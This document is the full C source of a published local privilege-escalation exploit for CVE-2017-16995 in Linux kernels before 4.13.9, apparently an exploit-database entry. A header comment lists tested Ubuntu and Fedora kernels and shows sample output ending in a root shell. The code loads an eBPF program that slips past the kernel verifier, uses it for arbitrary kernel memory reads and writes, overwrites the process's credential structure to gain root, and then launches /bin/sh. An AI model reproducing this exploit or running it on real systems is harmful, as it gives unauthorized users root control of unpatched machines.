Linux Kernel < 4.13.9 (Ubuntu 16.04/Fedora 27) Local Privilege Escalation

/*
  Credit @bleidl, this is a slight modification to his original POC
  https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
  
  For details on how the exploit works, please visit
  https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
   
  Tested on Ubuntu 16.04 with the following Kernels
  4.4.0-31-generic
  4.4.0-62-generic
  4.4.0-81-generic
  4.4.0-116-generic
  4.8.0-58-generic
  4.10.0.42-generic
  4.13.0-21-generic

  Tested on Fedora 27
  4.13.9-300
  gcc cve-2017-16995.c -o cve-2017-16995
  internet@client:~/cve-2017-16995$ ./cve-2017-16995
  [.]
  [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
  [.]
  [.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
  [.]
  [*] creating bpf map
  [*] sneaking evil bpf past the verifier
  [*] creating socketpair()
  [*] attaching bpf backdoor to socket
  [*] skbuff => ffff880038c3f500  
  [*] Leaking sock struct from ffff88003af5e180
  [*] Sock->sk_rcvtimeo at offset 472
  [*] Cred structure at ffff880038704600
  [*] UID from cred structure: 1000, matches the current: 1000
  [*] hammering cred structure at ffff880038704600
  [*] credentials patched, launching shell...
  #id
  uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
  
*/

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>

char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;

#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];

static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}

int bpf_prog_load(enum bpf_prog_type prog_type,
  const struct bpf_insn *insns, int prog_len,
  const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};

attr.kern_version = kern_version;

bpf_log_buf[0] = 0;

return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
   int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};

return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};

return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};

return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

#define BPF_ALU64_IMM(OP, DST, IMM)\
((struct bpf_insn) {\
.code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,\
.dst_reg = DST,\
.src_reg = 0,\
.off   = 0,\
.imm   = IMM })

#define BPF_MOV64_REG(DST, SRC)\
((struct bpf_insn) {\
.code  = BPF_ALU64 | BPF_MOV | BPF_X,\
.dst_reg = DST,\
.src_reg = SRC,\
.off   = 0,\
.imm   = 0 })

#define BPF_MOV32_REG(DST, SRC)\
((struct bpf_insn) {\
.code  = BPF_ALU | BPF_MOV | BPF_X,\
.dst_reg = DST,\
.src_reg = SRC,\
.off   = 0,\
.imm   = 0 })

#define BPF_MOV64_IMM(DST, IMM)\
((struct bpf_insn) {\
.code  = BPF_ALU64 | BPF_MOV | BPF_K,\
.dst_reg = DST,\
.src_reg = 0,\
.off   = 0,\
.imm   = IMM })

#define BPF_MOV32_IMM(DST, IMM)\
((struct bpf_insn) {\
.code  = BPF_ALU | BPF_MOV | BPF_K,\
.dst_reg = DST,\
.src_reg = 0,\
.off   = 0,\
.imm   = IMM })

#define BPF_LD_IMM64(DST, IMM)\
BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)\
((struct bpf_insn) {\
.code  = BPF_LD | BPF_DW | BPF_IMM,\
.dst_reg = DST,\
.src_reg = SRC,\
.off   = 0,\
.imm   = (__u32) (IMM) }),\
((struct bpf_insn) {\
.code  = 0, \
.dst_reg = 0,\
.src_reg = 0,\
.off   = 0,\
.imm   = ((__u64) (IMM)) >> 32 })

#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD1
#endif

#define BPF_LD_MAP_FD(DST, MAP_FD)\
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)\
((struct bpf_insn) {\
.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST,\
.src_reg = SRC,\
.off   = OFF,\
.imm   = 0 })

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)\
((struct bpf_insn) {\
.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST,\
.src_reg = SRC,\
.off   = OFF,\
.imm   = 0 })

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)\
((struct bpf_insn) {\
.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,\
.dst_reg = DST,\
.src_reg = 0,\
.off   = OFF,\
.imm   = IMM })

#define BPF_JMP_IMM(OP, DST, IMM, OFF)\
((struct bpf_insn) {\
.code  = BPF_JMP | BPF_OP(OP) | BPF_K,\
.dst_reg = DST,\
.src_reg = 0,\
.off   = OFF,\
.imm   = IMM })

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM)\
((struct bpf_insn) {\
.code  = CODE,\
.dst_reg = DST,\
.src_reg = SRC,\
.off   = OFF,\
.imm   = IMM })

#define BPF_EXIT_INSN()\
((struct bpf_insn) {\
.code  = BPF_JMP | BPF_EXIT,\
.dst_reg = 0,\
.src_reg = 0,\
.off   = 0,\
.imm   = 0 })

#define BPF_DISABLE_VERIFIER()                                                       \
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
BPF_EXIT_INSN()                                   /* }                      */   \

#define BPF_MAP_GET(idx, dst)                                                        \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \
BPF_EXIT_INSN(),                                  /*   exit(0);             */   \
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */              

static int load_prog() {
struct bpf_insn prog[] = {
BPF_DISABLE_VERIFIER(),

BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */

BPF_LD_MAP_FD(BPF_REG_9, mapfd),

BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */
BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */
BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            */

/* store map slot address in r2 */
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */

BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          */
/* get fp */
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3),             /* else if (op == 1)     */
/* get skbuff */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3),             /* else if (op == 2)     */
/* read */
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
BPF_EXIT_INSN(),
/* else                  */
/* write */
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), 
BPF_EXIT_INSN(),

};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}

void info(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[.] ");
vfprintf(stdout, fmt, args);
va_end(args);
}

void msg(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}

void redact(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
if(doredact) {
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}

void fail(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}

void 
initialize() {
info("\n");
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
info("\n");
info("  ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
info("\n");

redact("creating bpf map\n");
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
if (mapfd < 0) {
fail("failed to create bpf map: '%s'\n", strerror(errno));
}

redact("sneaking evil bpf past the verifier\n");
progfd = load_prog();
if (progfd < 0) {
if (errno == EACCES) {
msg("log:\n%s", bpf_log_buf);
}
fail("failed to load prog '%s'\n", strerror(errno));
}

redact("creating socketpair()\n");
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
fail("failed to create socket pair '%s'\n", strerror(errno));
}

redact("attaching bpf backdoor to socket\n");
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
fail("setsockopt '%s'\n", strerror(errno));
}
}

static void writemsg() {
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer)) {
fprintf(stderr, "short write: %zd\n", n);
}
}

static void 
update_elem(int key, unsigned long value) {
if (bpf_update_elem(mapfd, &key, &value, 0)) {
fail("bpf_update_elem failed '%s'\n", strerror(errno));
}
}

static unsigned long 
get_value(int key) {
unsigned long value;
if (bpf_lookup_elem(mapfd, &key, &value)) {
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
}
return value;
}

static unsigned long
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
update_elem(0, op);
update_elem(1, addr);
update_elem(2, value);
writemsg();
return get_value(2);
}

unsigned long
get_skbuff() {
return sendcmd(1, 0, 0);
}

unsigned long
get_fp() {
return sendcmd(0, 0, 0);
}

unsigned long
read64(unsigned long addr) {
return sendcmd(2, addr, 0);
}

void
write64(unsigned long addr, unsigned long val) {
(void)sendcmd(3, addr, val);
}

static unsigned long find_cred() {
uid_t uid = getuid();
unsigned long skbuff = get_skbuff();
/*
 * struct sk_buff {
 *     [...24 byte offset...]
 *     struct sock     *sk;
 * };
 *
 */

unsigned long sock_addr = read64(skbuff + 24);
msg("skbuff => %llx\n", skbuff);
msg("Leaking sock struct from %llx\n", sock_addr);
if(sock_addr < PHYS_OFFSET){
fail("Failed to find Sock address from sk_buff.\n");
}

/*
 * scan forward for expected sk_rcvtimeo value.
 *
 * struct sock {
 *    [...]
 *    const struct cred      *sk_peer_cred; 
 *    long                    sk_rcvtimeo;             
 *  };
 */
for (int i = 0; i < 100; i++, sock_addr += 8) {
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
unsigned long cred_struct = read64(sock_addr - 8);
if(cred_struct < PHYS_OFFSET) {
continue;
}

unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);

if(test_uid != uid) {
continue;
}
                        msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
                        msg("Cred structure at %llx\n", cred_struct);
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);

return cred_struct;
}
}
fail("failed to find sk_rcvtimeo.\n");
}

static void
hammer_cred(unsigned long addr) {
msg("hammering cred structure at %llx\n", addr);
#define w64(w) { write64(addr, (w)); addr += 8; }
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
w64(val); 
w64(0); w64(0); w64(0); w64(0);
w64(0xFFFFFFFFFFFFFFFF); 
w64(0xFFFFFFFFFFFFFFFF); 
w64(0xFFFFFFFFFFFFFFFF); 
#undef w64
}

int
main(int argc, char **argv) {
initialize();
hammer_cred(find_cred());
msg("credentials patched, launching shell...\n");
if(execl("/bin/sh", "/bin/sh", NULL)) {
fail("exec %s\n", strerror(errno));
}
}

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